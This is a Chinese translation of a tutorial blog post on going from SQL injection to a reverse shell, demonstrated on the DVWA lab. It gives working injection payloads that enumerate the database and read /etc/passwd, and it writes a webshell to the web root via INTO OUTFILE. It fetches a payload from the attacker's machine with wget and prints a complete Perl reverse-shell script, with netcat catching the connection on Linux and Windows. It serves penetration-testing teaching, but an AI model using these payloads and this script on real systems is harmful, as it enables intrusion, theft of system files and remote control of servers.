[译]通过SQLi获得逆向shell

58 篇文章 1 订阅
50 篇文章 0 订阅
原文地址:http://resources.infosecinstitute.com/anatomy-of-an-attack-gaining-reverse-shell-from-sql-injection/
本文使用DVWA作为演示
首先将dvwa安全级别配置为low
[img]http://dl2.iteye.com/upload/attachment/0102/7196/98ac5cf3-410a-3a7a-8946-c0222df99641.png[/img]
1. 查找SQLi注入点
查找sqli注入点是关键步骤,需要很多技巧和经验来识别注入点。通过分析web程序,识别注入点。例如下图,USER ID可以被认为是一个注入点。
[img]http://dl2.iteye.com/upload/attachment/0102/7198/b1bda433-c1ba-3734-8ef2-519d4be44d0c.png[/img]
在user id中添加一个引号,我们可以看到MySql数据库语义错误
[img]http://dl2.iteye.com/upload/attachment/0102/7202/c803354a-7a92-3a73-bde7-8f7b97753066.png[/img]
如果仔细查看,将会发现是一个syntax error,它的原因是当提供一个单引号时,后端数据库产生了一个syntax error错误。
正常情况下后端的sql语句类似:
MySQL> select first_name, last_name from users where user_id='' ;

如果user id提供一个单引号,那么sql语句变成:
MySQL> select first_name, last_name from users where user_id='' ';

所以产生一个语义错误。
所以注入点是user id,通过它可以直接和后端数据库通信。

接下来我们来尝试猜测后端后端数据库的语句,语句中列的数量,数据库名和MySq版本等信息。
根据前端,我们猜测语句类似:
MySQL> select first_name, last_name from users where user_id=1 ;

但是这只是一个粗略的猜测,我们需要充分利用MySql的特性,MySql提供给我们ORDER BY
ORDER BY根据列来排序查询结果。例如上面的语句,查询两列,使用order by可以根据列1或列2来排序。
如果我想按照第三列排序结果,MySql产生错误:
ERROR 1054 (42S22): Unknown column ’3′ in ‘order clause’

所以当使用order by 2时没有错误,而order 3的时候产生错误,因此可以推断sql语句是两列
通过使用order by,我们可以推测出sql的列数
[img]http://dl2.iteye.com/upload/attachment/0102/7206/f1c3626a-0972-3835-a42e-ac7e04e61cf9.png[/img]
使用id= ‘ order by 3 #应用程序抛出MySql错误表明查询语句中没有使用第三列。#用于注释掉查询语句中剩余部分,所以语句看起来如下:
MySQL> select first_name, last_name from users where user_id=’ ‘ order by 3 # ‘ ;

[img]http://dl2.iteye.com/upload/attachment/0102/7208/7507dc2f-0671-3334-a123-85dbfadf10a2.png[/img]
id= ‘ order by 2 # 没有产生错误表明sql语句的列数为2
[img]http://dl2.iteye.com/upload/attachment/0102/7210/43831df2-5a2c-36ca-b9ea-857cb37dbe11.png[/img]
现在使用UNION 语句来更进一步枚举
Union连接两个select查询结果。根据之前的order by操作,我们知道语句包含两列。我们无法控制一个sql语句,但是我们可以用过union和select来组合两条插叙的结果。
因为主查询中有两列,所以我们应该在union组合的select中使用两列
MySQL> select first_name, last_name from users where user_id=’ ‘ union select 1,2 ;

[img]http://dl2.iteye.com/upload/attachment/0102/7212/25146cdd-0bb5-3afa-8b17-585733c6800b.png[/img]
通过使用union查询,我们可以看到显示的结果为后端的select语句和我们的union select语句
[img]http://dl2.iteye.com/upload/attachment/0102/7214/5bdd503b-6fb2-3824-9cdb-977933a3bfc2.png[/img]
然后我们使用其他的注入语句,例如 ' UNION SELECT user(), database()#
如下图所示,将会显示username和数据库
[img]http://dl2.iteye.com/upload/attachment/0102/7219/75279731-8b36-33a9-b01e-8c60382e65bc.png[/img]
使用session_user()和current_user()
[img]http://dl2.iteye.com/upload/attachment/0102/7223/91bbee05-8384-3a2e-b763-97d3574dee4a.png[/img]
我们还可以获得MySql版本
[img]http://dl2.iteye.com/upload/attachment/0102/7225/bd43f64c-ad51-3a04-86a4-d1f7cdaaa830.png[/img]
更好的是MySql允许我们使用load_file(),我们可以使用load_file()来读取文件,我们通过注入来读取/etc/passwd文件
‘ UNION SELECT 1, load_file(/etc/passwd) #
[img]http://dl2.iteye.com/upload/attachment/0102/7227/898bcc9e-21c5-3605-9ed3-ba816cbdddf5.png[/img]

现在我们使用那个UNION SELECT
1. 上传webshell,获得反向连接
我们通过PHPinfo.php来访问web的根文件
我们得知web的根文件是apache的默认目录/var/www/
识别正确的根目录很重要,对于apache我们已经知道默认根目录的位置,但是系统管理员可能改变该参数。一种方法是通过返回的错误来定位根目录的位置。它可能会泄漏安装目录。
[img]http://dl2.iteye.com/upload/attachment/0102/7229/e6e3c637-5922-3063-9369-34afe4106f68.png[/img]
现在我们将使用union select在根目录创建一个文件,通过使用来完成。INTO OUTFILE将选择的行写入文件。下面的注入显示cmp.php文件将会存放于根目录,可以用来执行OS命令行:
‘ union select 1,’‘ INTO OUTFILE ‘/var/www/dvwa/cmd.php’ #
这个方法需要你有在根目录写的权限。管理员可能改变该权限
[img]http://dl2.iteye.com/upload/attachment/0102/7231/c2491af8-dde1-3950-8f90-1b4243487dff.png[/img]
现在我们可以利用浏览器访问根目录中的cmd.php
[img]http://dl2.iteye.com/upload/attachment/0102/7233/2b0d41e3-e49c-32c8-8898-55bfa93ab8a4.png[/img]
现在我们运行一些系统命令,使用id命令,可以看到我们拥有apache权限。
[img]http://dl2.iteye.com/upload/attachment/0102/7235/4cc70105-da36-3f11-b1b9-e0df3463db3f.png[/img]
接下来我们使用perl -h来检查系统是否安装了perl
[img]http://dl2.iteye.com/upload/attachment/0102/7237/93504d4b-8c00-3876-92fe-cb218bbc47fe.png[/img]
现在我们可以使用wget命令下载,保存从攻击者机器下载的perl反向连接脚本,保存到/tmp文件夹。
[img]http://dl2.iteye.com/upload/attachment/0102/7239/e397ba7a-4d34-3b9b-b6af-a71bb2538e44.png[/img]
perl脚本
#!/usr/bin/perl
use Socket;
use FileHandle;
$IP = $ARGV[0];
$PORT = $ARGV[1];
socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname('tcp'));
connect(SOCKET, sockaddr_in($PORT,inet_aton($IP)));
SOCKET->autoflush();
open(STDIN, ">&SOCKET");
open(STDOUT,">&SOCKET");
open(STDERR,">&SOCKET");
system("/bin/sh -i");

现在我们检查backconnect.pl是否下载/保存成功
[img]http://dl2.iteye.com/upload/attachment/0102/7243/4ca0e942-1f8d-392f-aa9d-2af0e66ca0b5.png[/img]
现在我们使用netcat在8080端口等待连接。然后运行perl backconnect.pl脚本。我们可以获得一个反向连接
[img]http://dl2.iteye.com/upload/attachment/0102/7275/788f3453-3233-30d9-9559-985b3329d173.png[/img]
现在我们有了一个交互式shell
[img]http://dl2.iteye.com/upload/attachment/0102/7277/efc0e68c-4558-37a8-b5d0-00e21e0f374b.png[/img]
[img]http://dl2.iteye.com/upload/attachment/0102/7279/0e086e67-614b-3c1e-bcf5-0953a9c8e1ba.png[/img]
现在我们在Windows环境中使用相同方法
首先使用union select以及load_file()
我们想要读E盘的一个文件,文件路径如下
e:/testfile.txt
注入 ‘ union select 1, load_file(‘e:\testfile.txt’) #
[img]http://dl2.iteye.com/upload/attachment/0102/7287/c40b4874-cc0b-355e-9f2f-b93406a62bf6.png[/img]
适当的指定路径很重要,正如我们看到的路径是e:\testfile.txt,但是MySql会解析"\"。注入也可以为
‘ union select 1, load_file(‘e:/testfile.txt’) #
接下来找到web根文件夹,使用老方法PHPinfo.php
[img]http://dl2.iteye.com/upload/attachment/0102/7289/881815fb-a537-31c8-9378-ade36f600cec.png[/img]
根文件夹为c:/wamp/www/DVWA/dvwa/,所以上传webshell使用的sql为
‘ union select 1, ‘‘ INTO OUTFILE ‘c:\wamp\www\DVWA\dvwa\cmd.php’#
[img]http://dl2.iteye.com/upload/attachment/0102/7291/a58230e3-427b-3669-85f3-fadcd9cfc29d.png[/img]
检查cmd.php是否成功:
[img]http://dl2.iteye.com/upload/attachment/0102/7293/378c5564-7f50-3b50-9491-a354bd64fd43.png[/img]
我们可以使用其他命令,例如whoami,将会告诉我们我们拥有NT authority system权限
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值